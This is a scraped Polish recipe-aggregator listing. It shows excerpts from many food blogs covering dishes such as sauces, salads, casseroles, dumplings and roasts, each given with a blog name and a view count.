olej i podsmaż drobno posiekane cebulę i czosnek. Dodaj pomidory i soczewicę i gotuj do miękkości (około 10-15 minut). W połowie gotowanie wrzuć przyprawy i zioła. Polej gorącym sosem makaron i natychmiast podawaj. Przepis dodaję do akcji:   Ojciec chrzestny (1972, Francis Ford Coppola) – to już klasyka filmowa. Przedstawia historię nowojorskiej rodziny mafijnej. Starzejący się Don Carleone chce przekazać

Qlinarnie i Qlinarnie
Rozgrzewający krem pomidorowy z pieczoną papryką a'la Gordon Ramsay 275

ulubionych i podstawowych składników kuchni i basta! Rozgrzewający krem a'la Gordon Ramsay to idealne danie na naszą zimową porę roku, podbija kubki smakowe i nadaje się również jako sos do klusek, makaronów, kasz i ryżu, dodam, że jest to danie fit, więc dla wszystkich fit-maniaków wręcz wskazane:) Składniki: 6 pomidorów 1 duża papryka lub 2 średnie koncentrat pomidorowy

Pause Gotowanie!
Przekąska: Rukola z gruszką, fetą i prażonym słonecznikiem 398

łyżce oleju, aż nabierze złocistego koloru. Garść rukoli wrzucam do miseczki, dodaje pokrojoną w kostkę gruszkę i fetę. W szklance mieszkam sok z cytryny, olej, bazylię i pieprz. Przygotowanym sosem polewam sałatkę. Całość posypuję słonecznikiem. Sałatka gotowa! Rada: Zanim posypię sałatkę słonecznikiem, wsypuję go na jednorazowy ręczniczek i odsączam z oleju, co by nie był ciężkostrawny. Smacznego

Pause Gotowanie!
Sałatka z grillowanym bakłażanem i cukinią, z wędzoną makrelą i grejpfrutem 233

Przygotować dressing: Do słoika wlać sok z grejpfruta, dodać łyżkę octu winnego, 3 łyżki oleju oraz łyżkę posiekanego szczypiorku. Przyprawić solą i pieprzem. Zamknąć słoik i wymieszać wszystkie składniki. Sosem (niecałym) polać warzywa (papryki, cukinię i bakłażan) i delikatnie wymieszać. Słonecznik uprażyć na suchej patelni. Na każdym talerzu ułożyć rukolę. Na to wyłożyć porcję grillowanych warzyw z papryką. Dodać kilka

Moja Delicja
Domowa szynka z indyka 301

szynkowar , który wypełniamy przygotowanym mięsem, wkładamy do większego garnka z wodą i gotujemy. Po niecałej godzinie mamy pyszną domową wędlinę, którą możemy zjeść na ciepło do obiadu wraz z sosem, jaki wytworzy się podczas gotowania. Gotową szynkę możemy również schłodzić i używać jako wędliny na kanapki. Składniki: 80 dag piersi z indyka 1,5 papryczki chipotle 50 g startego parmezanu

Moja Delicja
Zapiekanka z tortellini 324

ugotować w osolonej wodzie wg instrukcji na opakowaniu.  Cebulę i czosnek posiekać. Zeszklić na odrobinie oleju. Dodać pomidory z puszki. Dusić kilka minut do rozpadnięcia pomidorów i zgęstnienia sosu.   Doprawić solą, pieprzem, cukrem, bazylią i oregano. Dodać odlane tortellini. Wymieszać.  Przełożyć do naczynia żaroodpornego. Posypać startym serem żółtym. Zapiec do rozpuszczenia sera w 200 stopniach. Smacznego Anulla

Fabryka pomysłów
Kiszona rzodkiew biała daikon 295

kiszonkach. Tak naprawdę kisimy od dawna, ale bardziej europejsko, swojsko, po polsku. No może z małymi udziwnieniami typu kalarepa. Ale od jakiegoś czasu kisimy też bardziej po azjatycku, z sosem rybnym zamiast soli … Czytaj dalej

slodkokwasnapl
Knedle Czeskie (knedliki) 617

Wyrośnięte ciasto podzielić na 4 części i uformować knedle. W garnku zagotować osoloną wodę, knedle gotować ok. 10 minut (knedle w czasie gotowania rosną) Knedliki można spożywać z sosami, gulaszami jak i na słodko

Konrad Gotuje
Filet z kurczaka w sosie borowikowym. 216

suszonej cebuli, mieszamy i podsmażamy 3-4 minuty na dużym ogniu, tak by zredukować jak najwięcej płynu. Na grzyby przekładamy nasze mięso, mieszamy wszystko i zalewamy śmietaną. Łączymy w sos i posypujemy natką pietruszki. Ugotowane ziemniaki w osolonej wodzie cedzimy, zagniatamy z kilkoma łyżkami mleka i łyżką śmietany. Ucieramy na puree. Posypujemy koperkiem. Sałatka. Posiekane sałaty, zgniecione w garści, łączymy

BaRepas
kluski parowe pampuchy 196

stolnice i rękoma rozciągamy. Wykrawamy szklanką nasze pampuchy, Ponownie odstawiamy do wyrośniecia. Gotujemy na parze ok 5min. Dziś robię je na słodko, a jutro podam przepis na mój mięsny sos. smacznego! Ciasto przed wyrośnieciem Wykrawanie klusek Mój garnek do gotowania parowców

Tanio szybko zdrowo
Zapiekane piersi z kurczaka w śmietanie 638

cebulowe z Knorra (nie inna, bo nie wyjdzie!) Wykonanie: Umytą pierś kroimy w dowolnie, paski lub kostkę. Śmietanę mieszamy z zupą cebulową. Mięso wkładamy do naczynia żaroodpornego, zalewamy powstałym sosem śmietanowym, żeby niemal przykryło piersi. Wkładamy do piekarnika na ok 40-50min w temperaturze 180stopni, Lub do momentu zarumienienia wierzchu i boków. Smacznego

Tanio szybko zdrowo
Gulasz wieprzowy z dynią i czerwoną fasolą 234

Moja propozycja na dziś to gulasz wieprzowy, bardzo aromatyczny . Mięso kruche, rozpadające się w ustach a do tego przepyszne dodatki czyli dynia, fasola czerwona, pomidory utworzą pyszny sos. Polecam gorąco do ryżu czy kaszy. Gulasz wieprzowy z dynią i czerwoną fasolą. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sushi! 214

SKŁADNIKI: - opakowanie ryżu do sushi - ocet do ryżu - sól, cukier do doprawienia ryżu - łosoś wędzony - łosoś świeży - sos sojowy bez konserwantów -paluszki krabowe - kawior czarny - ogórek zielony - serek śmietankowy - imbir marynowany - kasza jaglana - norii  - wasabi Tym razem zrobiłam dwa rodzaje sushi, takie normalne jak zawsze z łososiem i ryżem, i drugie totalnie inne a mianowicie z kaszy jaglanej

SMYKWKUCHNI
Rolada - schab z pieczarkami 247

prosty pomysł na obiad dla całej rodziny. Świetnie nada się również na rodzinną uroczystą kolację. Przygotowanie takiej rolady jest banalnie proste, a prezentuje się elegancko. Plaster rolady podany z sosem zawsze dobrze smakuje.  Rolada - schab z pieczarkami SKŁADNIKI: 800 g schabu bez kości 400 g pieczarek 1 cebula 1 ząbek czosnku 1 łyżka masła sól i pieprz 2 łyżki

Kulinarny Świat Konczi i Szpileczki
Jajka marynowane w occie balsamicznym 277

kilku dniach spędzonych w zalewie z octu balsamicznego są prawie czarne. Świetna, atrakcyjna przekąska, mogą być składnikiem sałatek, możemy je zajadać z majonezem chrzanem i sosami jakie lubimy. Polecam! Przepis znalazłam na blogu  Niebo na talerzu składniki: 8-10 ugotowanych na twardo, obranych ze skorupek jaj:  zalewa: 1 i 1/2 szklanki wody (szklanka

Stare Gary
Kakrówka pieczona w piekarniku z pieczarkami i cebulą + pieczone ziemniaki 477

mnie od Przyprawy Świata Gdynia 500g ziemniaków sól, pieprz, papryka słodka, czosnek olej Zalewa: 1 szklanka wody 5 łyżek octu, ja użyłam balsamicznego 2 łyżeczki cukru 5 łyżek sosu sojowego 5 łyżek koncentratu pomidorowego 1. Karkówkę myjemy i kroimy w cienkie plastry. Rozbijamy je jak na kotlety i przecinamy na pół. Obsypujemy przyprawami. 2. Pieczarki myjemy, kroimy na kawałki preferowanej

Szefowa kuchni
Kanapka z tuńczykiem, sałatą i pomidorkami 253

mało eleganckim opakowaniem, ale przecież liczy się wnętrze! :) Składniki : 2 kromki chleba pełnoziarnistego (u mnie żytni) kilka liści dowolnej sałaty np. roszponki 2 łyżki tuńczyka z wody lub w sosie własnym masło dobry jakościowo ketchup Jedną kromeczkę smarujemy cienko masłem, nakładamy tuńczyka i odrobinę ketchupu, przykrywamy sałatką i drugą kromką. Zabieramy ze sobą w plastikowym pojemniczku :) Smacznego

Chocolate Muffin Blog
PSTRĄG ŁOSOSIOWY PIECZONY 239

Semco  Wykonanie: Filet nacieramy solą, pieprzem, paprykami oraz bazylią, czosnkiem i pomidorami- suszem.  Układamy na papierze do pieczenia. Pieczemy ok 20 minut w 170 st. Podajemy z sosem  śmietanowo czosnkowym

Z Majeczką w kuchni
Sałatka z tuńczyka 613

dużej uwagi do równiutkiego smarowania i układania warstw (głód poganiał). Zapewniam jednak, że z jej smaku powinien być zadowolony każdy. Składniki: 1 puszka (170 g) tuńczyka w oleju lub sosie własnym (może być więcej) 1 torebka ryżu 150 g żółtego sera (może być Gouda) 1 mała cebula 1/2 puszki kukurydzy 3 - 4 jajka 1 słoik gęstego majonezu (300 ml) pieprz

Kuchcik gotuje
Makaron z łososiem i suszonymi pomidorami 207

odparowała. Dodaj ugotowany makaron, poszatkowane kawałki suszonych pomidorów oraz porwanego na kawałki łososia. Dopraw do smaku solą i pieprzem, zalej śmietanką i gotuj do momentu, aż osiągnie konsystencję gęstego sosu, który zostanie częściowo wchłonięty przez makaron.  Makaron z łososiem i suszonymi pomidorami p odawaj ze świeżo startym parmezanem oraz listkami bazylii. Oprósz świeżo zmielonym pieprzem. Smacznego

Moje Qulinaria
Czekoladowy pudding z tapioki z sosem wiśniowym 186

zasmakowała czekoladowa tapioka. Tak jak już wcześniej wspominałam deser jest prosty w przygotowaniu, niestety nieco czasochłonny, bo tapioka musi napęcznieć, ugotować się, stężeć, ale warto, zdecydowanie! Pudding postanowiłam urozmaicić sosem wiśniowym, z alkoholową nutką, wiśnie bardzo pasują do czekolady. Czytaj więcej » Ten i więcej przepisów znajdziesz na blogu kulinarnym www.poracoszjesc.pl

Pora coś zjeść
Schab w mleku -domowa wędlina 45491

mlekiem . Wkładam do gorącego piekarnika, piekłam 1 godzinę  i 40 minut  w 200 st C , grzałki góra dół. W trakcie pieczenia , polewałam parę razy „wystające”  mięso sosem. Mięso studzę w zalewie mlecznej,  następnie zawijam w folię aluminiową , zawijam i wstawiam do lodówki na całą noc. Rano kroimy i zajadamy pyszne śniadanko :) Zachęcam do wypróbowania przepisu

Takie tam pichcenie
Kosmiczna zupa, czyli Grochówka mojej mamy :) 172

rondlu, w którym wcześniej podpiekaliśmy cebulkę. Do rozpuszczonej margaryny dodajemy mąkę i mieszamy trzepaczka. Dolewamy po trochu chochlą płynnej zupy i mieszamy. Gdy powstanie nam gęsta zawiesina przypominająca sos, dodajemy ją do zupy. Wszystko razem mieszamy i doprawiamy do smaku.  Smacznego :) R E K L A M A google_ad_client = "ca-pub-5566741004431373"; /* video */ google_ad_slot

Smakowy Raj
Dzienny jadłospis z 19 listopada wraz z przepisami 166

batona:) A do picia zielona herbatka z pomarańczą. Śniadanie nr 2 Jabłko + kawa Inka Obiad: Boeuf Strogonow, czyli pyszny gulasz z polędwicy na placku ziemniaczanym, skąpany w pomidorowym sosie i oprószony natką pietruszki Do picia sok własnej produkcji jabłko- mięta. Deserek: Owocowy puchar, z galaretką i bitą śmietanką . Po wszamaniu takiego puchara już przez myśl mi nie przyszło, by jeszcze

Smakowy Raj
Dzienny jadłospis z piątku 25. stycznia wraz z przepisami 138

Przepisy dostępne są po kliknięciu w nazwę :) Śniadanie: Chlebek piwno cebulowy z dodatkiem płatków jęczmiennych z masełkiem. Do picia zielona herbata. Obiad: Karp z jarzynami w sosie śmietankowym. Do picia sok z jabłek Deser: Makówka z bakaliami + kawa zbożowa Kolacja: Tortilla, tarta ziemniaczana na cieście piwnym + herbata rooibos z wanilią R E K L A M A google_ad_client

Smakowy Raj
Śląskie domowe nudle, czyli makaron 661

jednym z przysmaków mojego dzieciństwa :) robiła go moja mama, babcia, no i oczywiście ja :) Ciasto makaronowe ma dość elastyczne zastosowanie, tzn. można je użyć, jako makaron do zup, sosów, bringoli , pierogów , ale również, jako płatki do lazanii , czy ciasto pierogowe, albo jako przysmak sam w sobie, czyli makaron upieczony ma patelni, czyli tzw. maca (wystarczy zrobić makaron, rozwałkować i pokroić

Smakowy Raj
Naleśniki ostro nadziane z kurczakiem 216

zioła prowansalskie i zagotowujemy. Następnie dodajemy wymieszaną wodę z mąka (bez grudek), jeszcze raz zagotowujemy i zdejmujemy z ognia, po czym wsypujemy upieczonego kurczaka. Całość mieszamy. Każdy naleśnik nadziewamy sosem pomidorowym z kawałkami kurczaka, po czym składamy, układamy na blaszce wyłożonej pergaminem, posypujemy tartym serem i ziołami prowansalskimi, a następnie wkładamy do gorącego piekarnika na około 2 minuty

Smakowy Raj
Papryka w słoju – dodatek do leczo i innych dań 154

Lubię robić różne dania jednogarnkowe, zupy i sosy z dodatkiem papryki, dlatego kilka lat temu postanowiłam wrzucić paprykę do słojów. Głównym powodem dla którego zaczęłam taką zabawę, była cena papryki, która w sezonie jest niska, bo kosztuje około 3 – 4 złote za kilogram, zimą zaś papryka kosztuje nawet 15 złotych. Póki sezon trwa polecam wpakowanie papryki w słoje, by było

Smakowy Raj
Szpinakowy brykiet 209

szpinak to odmiana nowozelandzka, fajna w uprawie, a do tego ciągle rosną młode listki, więc można korzystać w sumie do późnej jesieni. Szpinak idealnie sprawdza się między innymi jako sos , dodatek do makaronu , pizzy, mięsa , pierogów, krokietów, zup i innych dań. Składniki: Szpinak w ilości dowolnej (im więcej tym lepiej :) Nie piszę jaka ma być ilość szpinaku, gdyż można

Smakowy Raj
Krokiety ze szpinakiem i serem gouda 236

roku obrodził u nas szpinak, który bardzo lubię pod różnymi postaciami, czy to z makaronem , w kotleciku , pizzy, jako sos , czy w krokiecie. Szpinak sam jest bardzo dobry, a w połączeniu z serem (zwłaszcza gouda) smakuje jak dla mnie rewelacyjnie i mogłabym go tak jeść i jeść bez końca :) Naleśniki: 3 jajka 3 szklanki mleka 2 ¼ szklanki mąki Nadzienie szpinakowe

Smakowy Raj
Sałatka z makaronem ryżowym i surimi 354

się mówi sałatka jest to sałatka na winie . Oczywiście do jej przygotowania możemy wykorzystać też inny makaron, na przykład sojowy. Robi się ją szybko, jest lekka, ponieważ odchudziłam trochę sos, używając jogurtu naturalnego.    Sałatka  z makaronem ryżowym i surimi Czas przygotowania: 15 minut Składniki:  1,5 szklanki ugotowanego makaronu ryżowego 1/2 ogórka wężowego 7 paluszków krabowych

Kulinarne przygody Gatity
Mandarynkowy sos do mięs na zimno (pikantny) 178

jabłkami i tymiankiem mojej mamy, albo połączenia mięso + owoce w wykonaniu tesciowej (oczywiście zakładając, że mam ochotę na mięso, co zdarza się ostatnio dość rzadko). Obawiałam się, że sos będzie za słodki, mdły. Nic bardziej mylnego. Delikatny, świeży, pikantny. Koniecznie na zimno. potrzebujemy: - 2 puszki mandarynek - paczkę migdałów w płatkach - majonez lub majonez/jogurt - curry - odrobina pieprzu cytrynowego Mandarynki dobrze odsączyć

Szybko Tanio Smacznie
Kurczak w czerwonym winie zapiekany pod ziemniakami 218

olej rzepakowy do smażenia Przyprawy: świeżo mielony pieprz, świeżo mielona sól, szczypta cukru, liść laurowy *W przygotowywaniu tej potrawy mąkę można pominąć. Zapiekanka nie traci na smaku, jednak powstały sos będzie rzadszy. Ziemniaki obieramy i gotujemy al dente. Musimy uważać by ziemniaki podczas gotowania nie zmiękły, twarde łatwiej będzie ułożyć na wierzchu zapiekanki. Po ugotowaniu odkładamy do ostygnięcia.Cebule obieramy

Kolizje Smaków
Wiosenna sałatka z melona, mozarelli i pomidorków koktajlowych 208

oliwa (świetnie smakuje również z rukolą) Z melona powykrawać kulki (może też być kostka). Dodać mozarellę pokrojoną w kostę (lub kulki). Pomidorki koktajlowe przekroić na pół. Wszystko wymieszać. Polać sosem. Wierzch posypać prażonym słonecznikiem

Szybko Tanio Smacznie
Sos z boczników. 208

Sos z boczników idealnie pasuje do wielu dań. U mnie pojawił się ostatnio przy okazji kotletów z kaszy gryczanej tzw. Hreczniaków. Przepis  TU Boczniaki to grzyby, które bardzo szybko można przygotować  podobnie jak pieczarki. Chociaż potrawa z boczniaków jest dla mnie bardziej lżejsza. SKŁADNIKI  350 g boczniaków 1 cebula 2 łyżki masła klarowanego sól, pieprz odrobina

W kuchennym oknie Ewy
Jak zrobić perfekcyjny stek z polędwicy wołowej, który będzie rozpływał się w ustach? 505

patelnie na której smażył się stek masło, ocet balsamiczny, rozmarn, doprawić solą i pieprzem; przygotować glazurę do mięsa mieszając i redukując zawartość patelni na małym ogniu do czasu kiedy sos będzie miał lepką konsystencję syropu (ok. 2 minuty) . Ułożyć „wypoczywającego” steka na talerzu obiadowym i polać glazurą. Podawać ulubionymi warzywami lub ziemniakami (na zdjęciach szparagi i maślane, złote

Jem więc Jestem
Szybkie placki ziemniaczane z gotowanych ziemniaków 443

ugotowanych ziemniaków. Robi się je naprawdę szybko. Fajny sposób na wykorzystanie ich resztek np. z poprzedniego dnia. Mięciutkie w środku i lekko chrupiące z wierzchu. Przepyszny dodatek do sosów, gulaszy itp. SKŁADNIKI: (na 7-8 placuszków czyli ok 3 porcje)   1/2 kg ziemniaków (ugotowanych i przestudzonych, mogą być z poprzedniego dnia) 1 jajko 3-4 łyż mąki pszennej

Kto ugości moich gości?
Naukowo o jajach. Jajka faszerowane 178

Żółtka, serek kanapkowy, kindziuk, drobno pokrojona gruszka, szczypiorek – metoda postępowania jak wyżej. 7. Żółtka, pieczarki podsmażone wcześniej, szczypiorek, ser żółty i drobno pokrojony ananas. Jajka fajnie jest ułożyć na sosie z jogurtu, majonezu i koperku, a wkoło poukładać roszponkę, rukolę lub miks sałat. Kombinujcie z połączeniami, bo może się okazać, że najbardziej absurdalne zestawienia są tymi najsmaczniejszymi. Smacznego! Post Naukowo

ladykitchen
Bitki z karkówki z esencją Knorr 218

Niedawno dostałam esencję do sosów i do duszonych dań, więc postanowiłam je wypróbować. Razem z esencjami przyszła mała książeczka z przepisami. Ja skorzystałam z tego na bitki z karkówki z cebulą. Obiad robiłam na znacznie większą ilość osób, więc zwiększyła się u mnie również ilość składników. Mięsa miałam 1,4 kg, z tego też powodu użyłam dwóch esencji. Nie wiem

Passions hobbies life
Kurczak w sosie pieczarkowo tuflowym. 240

pieprzu. Dolewamy wodę tak aby mięso było prawie przykryte. Przykrywamy garnek/patelnię przykrywką i dusimy do miękkości mięsa. Kiedy kurczak jest gotowy doprawiamy całość serkiem wymieszanym z gorącym sosem do smaku. Następnie solą i pieprzem. U mnie podane z ziemniakami i zasmażanymi buraczkami

Malinowe Pocałunki
Conchiglioni rigati z wołowiną i serem 228

wysmarowałam dokładnie masłem. Poukładałam ciasno muszle na dnie. Posypałam natką pietruszki i ..odłożyłam w chłodne miejsce ,bo muszle były mi potrzebne...na drugi dzień. Na godzinę przed podaniem przygotowałam sos pomidorowy z soku pomidorowego , soli i pieprzu. Zalałam muszle delikatnie i posypalam je serem żółtym. Nie zapomnijcie o  skropieniu oliwą z oliwek przed zapiekaniem ! Nałożyłam pokrywki i włożyłam

Z Kuchni Do Kuchni
Pyszne vegeburgery z ciecierzycy 221

kanapki. Dzisiaj proponuje moją ulubioną wersje z ciecierzycą i suszonymi pomidorami , dwa składniki kilka przypraw i obiad gotowy...   Składniki: - paczka ciecierzycy - 4/5 suszonych pomidorów (wedle uznania) - kilka kropel sosu sojowego - świeżo zmielony pieprz i sól - ulubione przyprawy ja dodaje mieszankę ziół do dań wegetariańskich lub shoarme Przygotowanie : Wcześniej namoczoną ciecierzyce gotujemy do miękkości , następnie blendujemy (ja przepuszczam przez maszynkę

zdrowa vege kuchnia
Burgery z fasoli 199

najlepiej dodać mniej przypraw , ponieważ danie wychodzi bardzo ostre.   Składniki: - ok. 4 szklanki ugotowanej białej fasoli -170g przecieru pomidorowego - kilka suszonych pomidorów z zalewy - sól, pieprz - sos sojowy - 1 łyżeczka chili - 2 łyżki suszonego czosnku - 1 łyżka suszonej cebuli - 1 łyżeczka mielonego kminku - 2 szklanki bulionu warzywnego Przygotowanie: Wszystkie składniki mieszamy w dużym garnku , doprowadzamy do wrzenia

zdrowa vege kuchnia
Kurcze pieczone winno cytrynowe 241

środka., posypujemy skórka z cytryny. Do wewnątrz kurczaka wkładamy  pozostały czosnek i cebulę. Kurczaka pieczemy w 170°C ok. 100 min. Raz na jakiś czas polewamy kurczaka sosem jaki powstał podczas pieczenia. Żeby kurczak był za każdej strony chrupiący i brązowo złocisty, powinno odwrócić się go podczas pieczenia. Robimy to w tym czasie jak już wierzch będzie przypieczony

Moniki Smakołyki
Feijoada w wersji uproszczonej 223

tylko najpier poczeka aż feijoada troszkę ostygnie). To nie koniec kto lubi na ostro, ten doda kilka kropel ostrej przyprawy. Na naszym zdjęciu widoczne są kawałki pomidora nasączone ostrym sosem brazylijskim (przepis już jutro).  Zapewne się powtórzę, ale zalecana jest coca cola, pepsi lub sok pomarańczowy. Lepiej się trawi

Smaki Brazylii
Pomarańczowa tarta z batatów na jaglanym spodzie 304

życie   Kremu batate ,   czyli bataty i pomarańcze  tym razem w formie tarty na kruchym jaglano-orkiszowym spodzie. Do podania z plastrami świeżej pomarańczy lub  sosem owocowym. Składniki: Spód: 150 g mąki jaglanej, 50 g mąki orkiszowej, 20 g cukru pudru, 130 g masła, czubata łyżka kakao, 1 żółtko, 2-3 łyżki lodowatej wody, szczypta soli

SzczyptaSmaQ
Dip serowy 327

Pyszny, ostry i kremowy dip serowy, niezastąpiony dodatek do nachos (np. na domowy seans filmowy ), przekąsek oraz potraw z grilla. Składniki: 150 g serka topionego Ementaler

Oryginalny smak
bulion warzywny – przepis podstawowy 165

przepis przyda się na pewno! Bulion wykorzystujemy do zup, sosów, risotto i wielu innych dań. Wykonanie proste, a tak przygotowany wywar stanowi doskonałą bazę pod dalsze kulinarne szaleństwa. To do dzieła! SKŁADNIKI 2 marchewki 1 pietruszka 1/4 średniego selera 1/2 małego pora 1 cebula pęczek natki pietruszki 2 liście laurowe 3 ziarenka ziela angielskiego 2 ziarenka pieprzu sól

zabawa smakiem
zapiekane cannelloni z mięsem i bakłażanem 248

dodać do niego mąkę, cały czas mieszając trzepaczką. Zmniejszyć moc palnika, dolać mleko i wodę, zagotować cały czas mieszając trzepaczką. Doprawić solą, gałką muszkatołową, bazylią i ziołami prowansalskimi. Sosem polać przygotowany makaron w naczyniu żaroodpornym. Wstawić do piekarnika i piec 10 min w temperaturze 180º. W tym czasie przygotować bakłażana. Umyć i pokroić go w plastry 4-5 mm, osolić

zabawa smakiem
spaghetti z mięsem mielonym inaczej 353

wstaje samo, a to już kolejne obowiązki i kontrola non stop… Jak zacznie chodzić, to nie wiem jak cokolwiek ogarnę w domu Dziś szybki, ale baaardzo pyszny obiad. Sos do makaronu z warzywami i jabłkami jest ciekawą kombinacją. Lekki i pyszny! SKŁADNIKI 4 porcje makaronu spaghetti 0,5 kg mięsa mielonego wieprzowo-wołowego 2 średnie cebule 2 czerwone papryki

zabawa smakiem
Make cooking easier - książka inna niż wszystkie 213

zjeść coś nietypowego. Ale tylko czasami. :-) Dania nie są przy tym nudne. Przeciwnie, wiele mam ochotę wypróbować. Oto przykładowe przepisy z wybranych pór roku: Śniadania  - chałka z sosem truskawkowym i brzoskwiniowym - domowe gofry z truskawkami - jajecznica z twarogiem i kminkiem Obiady: - knedle ze śliwkami i cynamonem - placuszki z cukinii ze szparagami - domowe lasagne z mozzarellą Desery: - krucha tarta

Szefowa kuchni
Sałatka dietetyczna z fetą i różowym sosem! 310

bogactwem witamin! SKŁADNIKI: - mix sałat ulubionych  - pomidorki koktajlowe - fit feta - oliwki czarne kilak sztuk - świeża bazylia - papryka czerwona - ogórek zielony - różowym marynowany imbir - kromka chleba na zakwasie pełnoziarnistego SOS RÓŻOWY DO SAŁATKI: - 3 łyżki jogurtu naturalnego (ja używam marki Zott) - 1 łyżka ketchupu (ja używam Pudliszki) - 1 łyżeczka miodu - 1 łyżeczka octu winnego - sól Wszystko bardzo dokładnie wymieszaj, dolej

SMYKWKUCHNI
SAŁATKA Z ZIELONEJ SOCZEWICY 282

sól, świeżo mielony pieprz czarny  odrobina czosnku  Sposób przyrządzenia:  Warzywa umyć, pokroić w malutką kosteczkę. Jogurt wymieszać z majonezem, czosnkiem, przyprawami. Soczewicę połączyć z warzywami, polać sosem przed podaniem. Tak proste a takie pyszne

pieprzny smaczek
Dhal z soczewicy z maślanym ryżem 163

mnóstwem przypraw, które fantastycznie aromatyzują danie oraz miętą, mleczkiem kokosowym i limonką, które dodatkowo i ciekawie 'podkręcaj' smak. Dhal można przygotować na dwa sposoby, w formie zupy lub gęstego sosu, który tradycyjnie podaje się z ryżem lub pitą,  ale i bez dodatków smakuje równie wyśmienicie- ja lubię wersję gęstą i serwuję z maślanym ryżem. Danie treściwe, bogate w smaku

Kraina Miodem Płynąca
Filet z kurczaka zapiekany z pieczarkami i serem 382

cebula majeranek sól, pieprz Składniki marynaty: 2-3 ząbki czosnku 1 łyżeczka papryki łagodnej  1 łyżeczka papryki ostrej  1 łyżeczka złocistej przyprawy do kurczaka 4 łyżki sosu sojowego  4 łyżki oleju lub oliwy Filet z kurczaka zapiekany z pieczarkami i serem, to pyszna wariacja na temat kotletów drobiowych. Dzięki marynacie mięsko jest delikatne i soczyste, a uzupełnione

Świat Domowej Kuchni
Kaczka w miodowej glazurze 180

minut, do brytfanny można dodać jakieś warzywa lub owoce i wspaniały obiad gotowy. Naprawdę bardzo gorąco polecam Wam kaczkę! Składniki 4 kacze piersi marynata 2 łyżki miodu 1 łyżka sosu sojowego 1 łyżeczka octu ryżowego 2 zmiażdżone ząbki czosnku 1/2 gwiazdki anyżu rozdrobniona w moździerzu 2 łyżeczki wody 2 łyżeczki mąki kukurydzianej do podania ugotowany ryż Sposób przygotowania Wszystkie składniki

W kuchni wieczorem
Salatka z kasza jeczmienna, brokulem i indykiem na ostro i Broszka 208

sypko wg przepisu na opakowaniu. Odcedzamy, przelewamy zimną wodą. Odsączamy i odstawiamy by przestygła. W miseczce łączymy oliwę z sokiem z cytryny, solą i pieprzem. Mieszamy i powstałym sosem zalewamy kaszę. Dokładnie mieszamy. Brokuł zalewamy wrzątkiem i gotujemy 3 minuty.. Odsączamy i zalewamy lodowata wodą. Odcedzamy. Patelnię rozgrzewamy z łyżką oliwy. Wkładamy mięso i smażymy ok 10 minut. Chodzi

Dzieje kuchennej Wiewióry
Zapiekany kurczak z brokułami, szynką, ogórkami kiszonymi i kaparami. 191

warstwowo filety z kurczaka, szynkę, pokrojone na plasterki ogórki kiszone, posiekaną cebulę, posypujemy kaparami, umieszczamy brokuły podzielone na mniejsze kawałki i posypujemy wszystko solą i pieprzem.  Następnie przygotowujemy sos z musztardy, jogurtu, majeranku, mieszamy go dokładnie i wylewamy na wierzch naszej potrawy. Na koniec posypujemy startym serem i zapiekamy w piekarniku około 45 min w 180 stopniach.  Podajemy

Symfonia smakowa
Sałatka z kaszy gryczanej i brokuła 196

lanch do pracy. Do zrobienia rano przed tą że pracą, testowałam da się ;)  A propozycją ową jest  sałatka z kaszy gryczanej i brokuła z pomidorkiem i sosem. Niby banalne ale naprawdę smaczne i dużo ciekawsze od kanapek jako obiadek w pracy.   Składniki: 1 torebka kaszy gryczanej 1 brokuł 2 pomidory 1/2 szalotki olej lniany Sosik: 2 łyżki

W kuchennej krainie
Knedle z truskawkami 167

chwilę turlać w dłoni podsypanej mąką. W dużym garnku zagotować  wodę z dodatkiem soli. Na wrzątek wkładać partiami knedle.  Od wypłynięcia gotować około 5 minut. Podawać ze sosem ze zmiksowanych truskawek z cukrem

W kuchennej krainie
Zimowy Flammkuchen z dynią i mięsem mielonym 225

paski. Wymieszać z odrobiną oleju, soli i pieprzu ciasto podzielić na 2 równe części. Rozwałkować na lekko omączonym blacie. Ułożyć na papierze do pieczenia. Każdy  placek posmarować sosem dyniowym. Na wierzchu lużno ułożyć  mięso mielone i kapustę włoską. Posypać startym serem na łopacie wsunąć placek do nagrzanego na najwyższą moc piekarnika i piec 8 - 10 minut do zrumienienia

Gotuj zdrowo!Guten Appetit!
Pieczone ziemniaki z czosnkiem 234

Przygotowanie ich idzie szybko, jednak czasu im trzeba trochę dać, by doszły do siebie. W między czasie można przygotować np. pulpety tak jak ja (tym razem podałam je w sosie koperkowym) lub po prostu pilnować piekarnika;) Aż szkoda, że u mnie już wszystko zostało zjedzone!  Składniki 1 kg ziemniaków w mundurkach 4 ząbki czosnku  pół kostki masła sól

pink envelope
Pierwszy piknik! 144

siebie po dwie buły (coś jak domowy hamburger) z okrągłym kotletem (no powiedzmy w miarę) z mięsa mielonego, garścią sałaty, plastrem pomidora i żółtego sera, a wszystko doprawione sosem czosnkowym. Pojedliśmy, nacieszyliśmy się słońcem (nawet komary nie były Nam straszne) i wróciliśmy do domu. Prawdziwe niedzielne rozpasanie! I na koniec skoro mowa o lesie, pikniku, mam nadzieję że nikt TEGO

pink envelope
Penne z kurczakiem i pieczarkami 326

pokroić na mniejsze kawałki, przyprawić solą, pieprzem, smażyć na patelni ok 10 min. od czasu do czasu mieszając. Dodać pieczarki, śmietanę, doprawić pieprzem, wymieszać delikatnie wszystko razem, przykryć by sos się zagotował. Dodać pietruszkę na sam koniec. Smacznego

pink envelope
Tosty francuskie na słodko 175

Dziś postaram się Was skusić na tosty francuskie, z dodatkiem jogurtu naturalnego, z pestkami granatu i orzechami włoskimi. Pozwoliłam sobie jeszcze na trochę słodyczy - sos krówkowy, takie małe rozpieszczenie podniebienia ;) Składniki 1 jajko 4 kromki chleba tostowego 3 łyżki mleka 1 łyżka masła (do smażenia) szczypta soli szczypta cynamonu szczypta cukru Dodatkowo pestki granatu 1 łyżeczka posiekanych orzechów włoskich

pink envelope
Tuńczyk! 324

maczetą. My tu o rybach, a sałatka czeka :) Prosta, szybka i zdrowa, bo z ryżem i małą ilością majonezu. Składniki 2 torebki ryżu naturalnego 1 puszka tuńczyka w sosie własnym 4 ogórki konserwowe 3 jajka ugotowane na twardo pół papryki czerwonej 1 cebula 100 g kukurydzy z  puszki pietruszka do przyzdobienia 2 łyżki majonezu 1 łyżka jogurtu naturalnego

pink envelope
Pudding z kaszy manny 197

